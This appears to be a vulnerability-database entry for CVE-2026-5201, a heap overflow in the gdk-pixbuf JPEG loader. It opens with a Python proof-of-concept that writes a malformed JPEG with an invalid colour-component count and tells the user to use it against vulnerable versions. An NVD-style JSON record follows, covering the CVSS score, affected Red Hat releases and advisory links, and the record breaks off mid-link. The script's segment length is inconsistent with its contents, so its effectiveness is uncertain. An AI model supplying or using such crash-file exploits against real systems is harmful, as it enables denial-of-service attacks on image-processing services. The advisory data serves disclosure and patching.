CVE-2026-5201

import struct # PoC for CVE-2026-5201: gdk-pixbuf Heap Overflow # This script generates a malformed JPEG file with invalid color components. def generate_malformed_jpeg(filename): # JPEG Start of Image (SOI) marker jpeg_data = b'\xff\xd8' # Start of Frame (SOF0) marker - Baseline DCT jpeg_data += b'\xff\xc0' # Length field (includes length field itself but not marker) # Standard SOF0 length is 8 + 3 * components. # We construct a length that might confuse the parser if component count is invalid. jpeg_data += struct.pack('>H', 11) jpeg_data += b'\x08' # Precision (8 bits per sample) jpeg_data += struct.pack('>H', 100) # Image Height jpeg_data += struct.pack('>H', 100) # Image Width # Number of components (Nf). Valid values are usually 1 (Grayscale) or 3 (YCbCr). # The vulnerability is triggered by improper validation of this value. # Setting a high value (e.g., 255) can cause the buffer overflow during processing. jpeg_data += b'\xff' # Invalid number of components # End of Image (EOI) marker jpeg_data += b'\xff\xd9' with open(filename, 'wb') as f: f.write(jpeg_data) print(f"[+] Malformed JPEG generated: {filename}") print("[+] Use this file to trigger the vulnerability in a vulnerable gdk-pixbuf version.") if __name__ == "__main__": generate_malformed_jpeg("cve_2026_5201_poc.jpg")

{"cve": {"id": "CVE-2026-5201", "sourceIdentifier": "[email protected]", "published": "2026-03-31T09:16:23.440", "lastModified": "2026-05-21T04:16:31.760", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in the gdk-pixbuf library. This heap-based buffer overflow vulnerability occurs in the JPEG image loader due to improper validation of color component counts when processing a specially crafted JPEG image. A remote attacker can exploit this flaw without user interaction, for example, via thumbnail generation. Successful exploitation leads to application crashes and denial of service (DoS) conditions."}, {"lang": "es", "value": "Se encontró un fallo en la biblioteca gdk-pixbuf. Esta vulnerabilidad de desbordamiento de búfer basado en montículo ocurre en el cargador de imágenes JPEG debido a una validación incorrecta del recuento de componentes de color al procesar una imagen JPEG especialmente diseñada. Un atacante remoto puede explotar este fallo sin interacción del usuario, por ejemplo, a través de la generación de miniaturas. La explotación exitosa conduce a bloqueos de la aplicación y condiciones de denegación de servicio (DoS)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnome:gdk-pixbuf:-:*:*:*:*:*:*:*", "matchCriteriaId": "66105200-1A98-42B1-B0DB-012B0CC1C0CB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux_server_aus:8.2:*:*:*:*:*:*:*", "matchCriteriaId": "6897676D-53F9-45B3-B27F-7FF9A4C58D33"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux_server_aus:8.4:*:*:*:*:*:*:*", "matchCriteriaId": "E28F226A-CBC7-4A32-BE58-398FA5B42481"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux_server_tus:8.8:*:*:*:*:*:*:*", "matchCriteriaId": "F1CA946D-1665-4874-9D41-C7D963DD1F56"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:10707", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:10708", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:10741", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:11325", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:11326", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:11327", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:11328", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:11806", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:12060", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:12061", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:12062", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:12114", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:12115", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:16008", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:16009", "source": "[email protected]"}, {"url": "h ... (truncated)